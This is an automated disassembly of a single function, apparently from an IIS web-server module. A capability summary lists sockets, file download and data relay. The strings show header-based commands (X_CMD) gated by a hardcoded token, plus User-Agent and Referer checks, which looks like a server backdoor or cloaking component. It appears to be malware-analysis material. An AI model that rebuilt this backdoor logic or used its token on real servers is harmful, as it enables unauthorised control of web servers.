Function at 0x180001bf0
Capabilities:
Connect socket
Convert ip address from string
Download and write a file
Get file size
Read and send data from client to server
Read file on windows
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration
Write file on windows

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x11d0
call fcn.180016e20
sub rsp, rax
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x1200], rbx
mov qword [rsp + 0x1210], rsi
mov rax, qword [0x180051088]
xor rax, rsp
mov qword [rsp + 0x11c0], rax
mov rbx, rdx
xor r14d, r14d
mov r12d, r14d
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0x78], socket
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x60], r12b
lea r8d, [r14 + 0xe]
lea rdx, str.OnBeginRequest
lea rcx, [rsp + 0x60]
call fcn.1800087f0
lea rcx, [rsp + 0x60]
call fcn.1800077b0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x20]
mov r15, rax
mov qword [rsp + 0x40], rax
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x18]
mov r13, rax
mov qword [rsp + 0x48], rax
test rax, rax
je case.0x180002ffd.106
test r15, r15
je case.0x180002ffd.106
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x40]
mov rdx, rax
test rax, rax
je case.0x180002ffd.106
mov eax, r14d
lea r9, [0x180047590]
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x180001ce9
cmp rax, 4
jne 0x180001cd0
cmp cl, byte [r9 + rax - 1]
mov eax, r14d
sete al
mov dword [rsp + 0x50], eax
mov rax, r14
lea r8, str.POST
mov edi, 5
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x180001d1a
cmp rax, rdi
jne 0x180001d02
cmp cl, byte [r8 + rax - 1]
mov esi, r14d
sete sil
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_CMD
mov rcx, r13
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [r13]
xor r8d, r8d
lea rdx, str.X_TOKEN
mov rcx, r13
call qword [r9 + 0x18]
mov r13d, r14d
test rax, rax
je 0x180001d6a
lea rdx, str.cbFOvVX1582Mr7nt
mov rcx, rax
call fcn.180034810
test eax, eax
sete r13b
cmp dword [rsp + 0x50], r12d
je 0x180004018
test rbx, rbx
jne 0x180002f74
cmp byte [0x180051a08], r12b
je case.0x180002ffd.106
mov rbx, qword [rsp + 0x48]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + htons]
mov rdx, qword [rax + 0x58]
test rdx, rdx
je case.0x180002ffd.106
mov qword [rsp + 0x198], 7
mov qword [rsp + 0x190], r14
mov word [rsp + 0x180], r14w
cmp word [rdx], r12w
jne 0x180001dd2
mov r8, r14
or r12, 0xffffffffffffffff
jmp 0x180001dea
or r12, 0xffffffffffffffff
mov r8, r12
nop dword [rax]
inc r8
cmp word [rdx + r8*2], r14w
jne 0x180001de0
lea rcx, [rsp + 0x180]
call fcn.180008330
nop
mov rax, qword [rbx]
xor r8d, r8d
lea rdx, str.User_Agent
mov rcx, rbx
call qword [rax + 0x18]
test rax, rax
je 0x180002dd0
mov qword [rsp + 0x1b8], socket
mov qword [rsp + 0x1b0], r14
mov byte [rsp + 0x1a0], 0
cmp byte [rax], 0
jne 0x180001e3a
mov r8, r14
jmp 0x180001e4a
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180001e40
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.1800087f0
nop
mov qword [rsp + 0x178], socket
mov qword [rsp + 0x170], r14
mov byte [rsp + 0x160], 0
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x160]
call fcn.180008920
nop
mov esi, r14d
mov rdx, qword [rsp + 0x1b0]
test rdx, rdx
je 0x180002d05
lea r13, [rsp + 0x160]
cmp qword [rsp + 0x178], 0x10
cmovae r13, qword [rsp + 0x160]
lea rax, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae rax, qword [rsp + 0x1a0]
add rax, rdx
lea rsi, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae rsi, qword [rsp + 0x1a0]
mov rdi, rax
sub rdi, rsi
cmp rsi, rax
cmova rdi, r14
test rdi, rdi
je 0x180001f25
mov rbx, r14
nop dword [rax]
movsx ecx, byte [rsi + rbx]
call fcn.18001ba0c
mov byte [rbx + r13], al
inc rbx
cmp rbx, rdi
jne 0x180001f10
mov rax, qword [0x180055ad0]
mov rbx, qword [rax]
cmp rbx, rax
je 0x180001fc6
nop dword [rax + rax]
lea rdx, [rbx + 0x20]
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x180001f52
mov rdx, qword [rdx]
lea rcx, [rsp + 0x160]
call fcn.180008720
cmp rax, 0xffffffffffffffff
jne 0x180001fc1
cmp byte [rbx + 0x19], 0
jne 0x180001fb6
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180001f8f
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180001fb6
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180001f81
jmp 0x180001fb6
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180001fb3
nop dword [rax]
cmp rbx, qword [rax + 0x10]
jne 0x180001fb3
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180001fa0
mov rbx, rax
cmp rbx, qword [0x180055ad0]
jne 0x180001f40
jmp 0x180001fc6
mov dil, 1
jmp 0x180001fc9
xor dil, dil
mov rax, qword [0x180055ae0]
mov rbx, qword [rax]
mov esi, r14d
mov dword [rsp + 0x50], r14d
cmp rbx, rax
je 0x180002082
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbx + 0x20]
mov r9, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x180002002
mov rdx, qword [rdx]
lea rcx, [rsp + 0x160]
call fcn.180008720
cmp rax, 0xffffffffffffffff
jne 0x180002079
cmp byte [rbx + 0x19], sil
jne 0x180002066
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], sil
jne 0x18000203f
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
jne 0x180002066
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x180002031
jmp 0x180002066
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], sil
jne 0x180002063
nop dword [rax]
cmp rbx, qword [rax + 0x10]
jne 0x180002063
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], sil
je 0x180002050
mov rbx, rax
cmp rbx, qword [0x180055ae0]
jne 0x180001ff0
mov esi, r14d
mov dword [rsp + 0x50], r14d
jmp 0x180002082
mov esi, 1
mov dword [rsp + 0x50], esi
cmp dil, 1
jne 0x180002d00
lea rdx, [rsp + 0x140]
call fcn.180006980
nop
mov rbx, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
cmp rbx, rdi
je 0x1800021b0
mov rdx, rbx
lea rcx, [rsp + 0x180]
call fcn.180007110
test rax, rax
jne 0x1800020ce
cmp qword [rbx + 0x30], rax
jne 0x1800020d4
add rbx, 0x40
jmp 0x1800020aa
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x78], socket
mov qword [rsp + 0x70], r14
mov byte [rsp + 0x60], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0x60]
call fcn.1800087f0
nop
lea rdx, [rbx + 0x20]
mov qword [rsp + 0x98], socket
mov qword [rsp + 0x90], r14
mov byte [rsp + 0x80], 0
mov r9, r12
xor r8d, r8d
lea rcx, [rsp + 0x80]
call fcn.180008920
nop
mov r9b, 1
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x140]
call fcn.1800068d0
nop
lea rcx, [rsp + 0x160]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x1a0]
call fcn.1800077b0
nop
mov r8, qword [rsp + 0x198]
cmp r8, 8
jb 0x1800021a6
inc r8
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x180]
call fcn.180009200
mov eax, 2
jmp 0x1800055da
lea rcx, [rsp + 0x140]
call fcn.1800068d0
lea rdx, [rsp + 0x140]
call fcn.180006d60
nop
mov rbx, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
cmp rbx, rdi
je 0x180002cef
nop dword [rax]
nop dword [rax + rax]
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
mov r9, r12
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180008480
nop
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], r14
mov word [rsp + 0x80], r14w
lea rdx, [rbx + 0x20]
mov r9, r12
xor r8d, r8d
lea rcx, [rsp + 0x80]
call fcn.180008480
nop
lea r13, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
test rsi, rsi
jne 0x180002270
mov rax, r14
jmp 0x18000234b
mov r10, qword [rsp + 0x190]
test r10, r10
je 0x180002348
cmp rsi, r10
ja 0x180002348
sub r10, rsi
inc r10
lea r11, [rsp + 0x180]
cmp qword [rsp + 0x198], 8
cmovae r11, qword [rsp + 0x180]
nop word [rax + rax]
test r10, r10
je 0x1800022cf
mov rcx, r10
mov rax, r11
movzx edx, word [r13]
cmp word [rax], dx
je 0x1800022d2
add rax, 2
sub rcx, 1
jne 0x1800022c0
mov rax, r14
test rax, rax
je 0x180002348
mov rdx, rsi
mov r8, r13
mov r9, rax
test rsi, rsi
je 0x180002326
movzx ecx, word [r8]
cmp word [r9], cx
jne 0x1800022fd
add r9, 2
add r8, 2
sub rdx, 1
jmp 0x1800022e3
mov edx, 1
cmp word [r9], cx
cmovb edx, r12d
test edx, edx
je 0x180002326
mov rdx, rax
sub rdx, r11
sar rdx, 1
mov rcx, r12
sub rcx, rdx
add r10, rcx
lea r11, [rax + 2]
jmp 0x1800022b0
lea rcx, [rsp + 0x180]
cmp qword [rsp + 0x198], 8
cmovae rcx, qword [rsp + 0x180]
sub rax, rcx
sar rax, 1
jmp 0x18000234b
mov rax, r12
test rax, rax
je 0x1800023c3
mov r8, qword [rsp + 0x98]
cmp r8, 8
jb 0x180002376
inc r8
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x80]
call fcn.180009200
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], r14
mov word [rsp + 0x80], r14w
mov rax, qword [rsp + 0x78]
cmp rax, 8
jb 0x1800023b1
lea r8, [rax + 1]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.180009200
add rbx, 0x40
cmp rbx, rdi
jne 0x1800021f0
jmp 0x180002cef
mov qword [rsp + socket8], 0xf
mov qword [rsp + 0xf0], r14
mov byte [rsp + 0xe0], 0
cmp byte [0x180053a0d], 0
je 0x180002749
xor ecx, ecx
call fcn.18001b83c
cmp rax, qword [0x180055a98]
jle 0x1800025ad
xor ecx, ecx
call fcn.18001b83c
movsxd rcx, dword [0x180053a08]
add rcx, rax
mov qword [0x180055a98], rcx
lea rbx, [0x180055a78]
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
nop
mov rdx, qword [0x180055a68]
mov rdx, qword [rdx + 8]
lea rcx, [0x180055a68]
call fcn.180008ef0
mov rax, qword [0x180055a68]
mov qword [rax + 8], rax
mov rax, qword [0x180055a68]
mov qword [rax], rax
mov rax, qword [0x180055a68]
mov qword [rax + 0x10], rax
mov qword [0x180055a70], r14
mov rcx, rbx
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x100]
call fcn.18000b980
nop
mov r9d, 3
lea r8, [0x180055a10]
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000ff10
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180007840
mov rax, qword [rsp + 0xd8]
cmp rax, 0x10
jb 0x180002517
inc rax
mov rcx, qword [rsp + 0xc0]
cmp rax, 0x1000
jb 0x180002512
test cl, 0x1f
je 0x1800024e5
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800024f4
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002503
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x18000250f
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0xd8], socket
mov qword [rsp + 0xd0], r14
mov byte [rsp + 0xc0], 0
mov r8, qword [rsp + 0x118]
cmp r8, 8
jb 0x180002559
inc r8
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x100]
call fcn.180009200
cmp qword [rsp + 0xf0], 0
je 0x180002843
mov qword [rsp + 0xc0], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0xc8], 1
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x100]
lea rcx, [0x180055a68]
call fcn.18000c9e0
mov rdi, qword [rsp + 0x100]
add rdi, 0x40
jmp 0x180002715
lea rdx, [rsp + 0x180]
lea rcx, [0x180055a68]
call fcn.180006b30
test al, al
je 0x180002640
lea rbx, [0x180055a78]
mov qword [rsp + 0xc0], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0xc8], 1
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x100]
lea rcx, [0x180055a68]
call fcn.18000c9e0
mov rdi, qword [rsp + 0x100]
add rdi, 0x40
mov rcx, rbx
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
lea rax, [rsp + 0xe0]
cmp rax, rdi
je 0x180002834
mov r9, r12
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0xe0]
call fcn.180008920
jmp 0x180002834
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xc0]
call fcn.18000b980
nop
mov r9d, 3
lea r8, [0x180055a10]
mov rdx, rax
lea rcx, [rsp + 0x100]
call fcn.18000ff10
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180007840
lea rcx, [rsp + 0x100]
call fcn.1800077b0
nop
mov r8, qword [rsp + 0xd8]
cmp r8, 8
jb 0x1800026bf
inc r8
mov rdx, qword [rsp + 0xc0]
lea rcx, [rsp + 0xc0]
call fcn.180009200
cmp qword [rsp + 0xf0], 0
je 0x180002843
lea rbx, [0x180055a78]
mov qword [rsp + 0xc0], rbx
mov rcx, rbx
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0xc8], 1
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x100]
lea rcx, [0x180055a68]
call fcn.18000c9e0
mov rdi, qword [rsp + 0x100]
add rdi, 0x40
mov rcx, rbx
call sub.KERNEL32.dll_ReleaseSRWLockExclusive
lea rax, [rsp + 0xe0]
cmp rdi, rax
je 0x180002834
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0xe0]
mov rcx, rdi
call fcn.180008920
jmp 0x180002834
lea r8, [rsp + 0x180]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x100]
call fcn.18000b980
nop
mov r9d, 3
lea r8, [0x180055a10]
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000ff10
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.180007840
mov rax, qword [rsp + 0xd8]
cmp rax, 0x10
jb 0x1800027f2
inc rax
mov rcx, qword [rsp + 0xc0]
cmp rax, 0x1000
jb 0x1800027ed
test cl, 0x1f
je 0x1800027c0
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800027cf
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800027de
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x1800027ea
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0xd8], socket
mov qword [rsp + 0xd0], r14
mov byte [rsp + 0xc0], 0
mov r8, qword [rsp + 0x118]
cmp r8, 8
jb 0x180002834
inc r8
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x100]
call fcn.180009200
cmp qword [rsp + 0xf0], 0
jne 0x180002a62
mov rax, qword [rsp + 0xf8]
cmp rax, 0x10
jb 0x1800028a1
inc rax
mov rcx, qword [rsp + 0xe0]
cmp rax, 0x1000
jb 0x18000289c
test cl, 0x1f
je 0x18000286f
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000287e
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x18000288d
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002899
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + socket8], 0xf
mov qword [rsp + 0xf0], r14
mov byte [rsp + 0xe0], 0
mov r8, qword [rsp + 0x98]
cmp r8, 8
jb 0x1800028e3
inc r8
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x80]
call fcn.180009200
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], r14
mov word [rsp + 0x80], r14w
mov r8, qword [rsp + 0x78]
cmp r8, 8
jb 0x18000291d
inc r8
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.180009200
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
lea rcx, [rsp + 0x140]
call fcn.180007d00
nop
mov rax, qword [rsp + 0x178]
cmp rax, 0x10
jb 0x18000299d
inc rax
mov rcx, qword [rsp + 0x160]
cmp rax, 0x1000
jb 0x180002998
test cl, 0x1f
je 0x18000296b
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18000297a
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002989
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002995
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0x178], socket
mov qword [rsp + 0x170], r14
mov byte [rsp + 0x160], 0
mov rax, qword [rsp + 0x1b8]
cmp rax, 0x10
jb 0x180002a17
inc rax
mov rcx, qword [rsp + 0x1a0]
cmp rax, 0x1000
jb 0x180002a12
test cl, 0x1f
je 0x1800029e5
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800029f4
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002a03
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002a0f
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0x1b8], socket
mov qword [rsp + 0x1b0], r14
mov byte [rsp + 0x1a0], 0
mov r8, qword [rsp + 0x198]
cmp r8, 8
jb case.0x180002ffd.106
inc r8
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x180]
call fcn.180009200
jmp case.0x180002ffd.106
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0xd8], socket
mov qword [rsp + 0xd0], r14
mov byte [rsp + 0xc0], 0
mov r8d, 4
lea rdx, str.html
lea rcx, [rsp + 0xc0]
call fcn.1800087f0
nop
mov qword [rsp + 0x118], socket
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x100], 0
mov r9, r12
xor r8d, r8d
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x100]
call fcn.180008920
nop
mov r9b, 1
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x100]
mov rcx, r15
call fcn.180010850
nop
mov rax, qword [rsp + 0xf8]
cmp rax, 0x10
jb 0x180002b58
inc rax
mov rcx, qword [rsp + 0xe0]
cmp rax, 0x1000
jb 0x180002b53
test cl, 0x1f
je 0x180002b26
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180002b35
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002b44
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002b50
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + socket8], 0xf
mov qword [rsp + 0xf0], r14
mov byte [rsp + 0xe0], 0
mov r8, qword [rsp + 0x98]
cmp r8, 8
jb 0x180002b9a
inc r8
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0x80]
call fcn.180009200
mov qword [rsp + 0x98], 7
mov qword [rsp + 0x90], r14
mov word [rsp + 0x80], r14w
mov r8, qword [rsp + 0x78]
cmp r8, 8
jb 0x180002bd4
inc r8
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x60]
call fcn.180009200
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], r14
mov word [rsp + 0x60], r14w
lea rcx, [rsp + 0x140]
call fcn.180007d00
nop
mov rax, qword [rsp + 0x178]
cmp rax, 0x10
jb 0x180002c54
inc rax
mov rcx, qword [rsp + 0x160]
cmp rax, 0x1000
jb 0x180002c4f
test cl, 0x1f
je 0x180002c22
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180002c31
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002c40
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002c4c
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0x178], socket
mov qword [rsp + 0x170], r14
mov byte [rsp + 0x160], 0
mov rax, qword [rsp + 0x1b8]
cmp rax, 0x10
jb 0x180002cce
inc rax
mov rcx, qword [rsp + 0x1a0]
cmp rax, 0x1000
jb 0x180002cc9
test cl, 0x1f
je 0x180002c9c
call fcn.18001a8bc
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180002cab
call fcn.18001a8bc
int3
sub rcx, rax
cmp rcx, 8
jae 0x180002cba
call fcn.18001a8bc
int3
cmp rcx, 0x27
jbe 0x180002cc6
call fcn.18001a8bc
int3
mov rcx, rax
call fcn.180016250
mov qword [rsp + 0x1b8], socket
mov qword [rsp + 0x1b0], r14
mov byte [rsp + 0x1a0], 0
jmp 0x180002180
lea rcx, [rsp + 0x140]
call fcn.180007d00
mov esi, dword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x178]
cmp rax, 0x10
jb 0x180002d70
inc rax
mov rcx, qword [rsp + 0x160]
cmp rax, 0x1000
jb 0x180002d6b
test cl, 0x1f
je 0x180002d31
call fcn.18001a8bc
int3
mov rax, qword [rsp + 0x160]
mov rcx, qword [rax - 8]
cmp rcx, rax
jb 0x180002d48
call fcn.18001a8bc
int3
mov rax, qword [rsp + 0x160]
sub rax, rcx
cmp rax, 8
jae 0x180002d5f
call fcn.18001a8bc
int3
cmp rax, 0x27
jbe 0x180002d6b
call fcn.18001a8bc
int3
call fcn.180016250
mov qword [rsp + 0x178], socket
mov qword [rsp + 0x170], r14
mov byte [rsp + 0x160], 0
mov r8, qword [rsp + 0x1b8]
cmp r8, 0x10
jb 0x180002db2
inc r8
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x1a0]
call fcn.180009270
mov qword [rsp + 0x1b8], socket
xor edx, edx
lea rcx, [rsp + 0x1a0]
call fcn.180008700
mov r14d, esi
cmp qword [0x180055ab0], 0
je 0x180002f62
mov rax, qword [rbx]
xor r8d, r8d
lea rdx, str.Referer
mov rcx, rbx
call qword [rax + 0x18]
test rax, rax
je 0x180002f62
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
xor r12b, r12b
cmp qword [rsp + 0x70], 0
je 0x180002e61
mov rcx, qword [0x180055af0]
mov rax, qword [rcx]
mov qword [rsp + 0x40], rax
cmp rax, rcx
je 0x180002e61
nop word [rax + rax]
lea rdx, [rax + 0x20]
lea rcx, [rsp + 0x60]
call fcn.1800074a0
cmp rax, 0xffffffffffffffff
jne 0x180002e5e
lea rcx, [rsp + 0x40]
call fcn.180006730
mov rax, qword [rsp + 0x40]
cmp rax, qword [0x180055af0]
jne 0x180002e30
jmp 0x180002e61
mov r12b, 1
xor sil, sil
lea rdx, [rsp + 0x140]
call fcn.180006f10
nop
mov rbx, qword [rsp + 0x140]
mov rdi, qword [rsp + 0x148]
cmp rbx, rdi
je 0x180002eb3
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0x180]
call fcn.180007110
test rax, rax
je 0x180002eb0
add rbx, 0x20
cmp rbx, rdi
jne 0x180002e90
jmp 0x180002eb3
mov sil, 1
test r12b, r12b
je 0x180002f49
test sil, sil
je 0x180002f49
cmp byte [0x180053a0c], 0
jne 0x180002ed3
test r14d, r14d
je 0x180002f49
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.html
lea rcx, [rsp + 0x80]
call fcn.180007900
mov rbx, rax
lea rdx, [0x180055aa0]
lea rcx, [rsp + 0x1a0]
call fcn.180007960
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x140]
call fcn.180007f60
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
call fcn.180007270
jmp 0x1800021a6
lea rcx, [rsp + 0x140]
call fcn.180007f60
nop
lea rcx, [rsp + 0x60]
call fcn.1800077b0
nop
lea rcx, [rsp + 0x180]
call fcn.180007270
jmp case.0x180002ffd.106
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.180007900
lea rdx, [rsp + 0x60]
call fcn.180006820
test rax, rax
je 0x180002f9a
test r13d, r13d
je 0x180002f9a
xor dil, dil
jmp 0x180002f9d
mov dil, 1
lea rcx, [rsp + 0x60]
call fcn.1800077b0
test dil, dil
jne case.0x180002ffd.106
mov rdx, rbx
lea rcx, [rsp + 0x1a0]
call fcn.180007900
nop
lea rdx, [rsp + 0x1a0]
call fcn.180006850
mov ebx, dword [rax]
lea rcx, [rsp + 0x1a0]
call fcn.1800077b0
add ebx, 0xffffff9a
cmp ebx, 0x15
ja case.0x180002ffd.106
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x5608]
add rax, rcx
jmp rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x60]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0xe0]
call fcn.1800139d0
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0xe0]
call fcn.1800077b0
lea rdx, [0x180046f08]
lea rcx, [rsp + 0x60]
call fcn.180007900
mov r8, rax
mov edx, 1
mov rcx, r15
call fcn.180010620
jmp 0x1800021a6
call fcn.180007000
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Rules_Success_
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0x80]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x60]
jmp 0x180003056
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x60]
call fcn.180007900
mov rbx, rax
lea rcx, [rsp + 0xe0]
call fcn.180013d80
nop
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
jmp 0x18000304e
lea rcx, [0x180055a80]
call fcn.180006c20
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Proxy_Contents_Success_
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0x80]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x60]
jmp 0x180003056
lea rcx, [0x180055a68]
call fcn.180006c20
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Cache_Success_
lea rcx, [rsp + 0x60]
call fcn.180007900
nop
lea rdx, str.plain
lea rcx, [rsp + 0x80]
call fcn.180007900
mov rbx, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0xe0]
call fcn.1800135e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r15
call fcn.180010850
nop
lea rcx, [rsp + 0x60]
jmp 0x180003056
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0x60]
call fcn.180007900
mov rbx, rax
lea rdx, [0x180055aa0]
lea rcx, [rsp + 0x80]
call fcn.1800135e0
nop
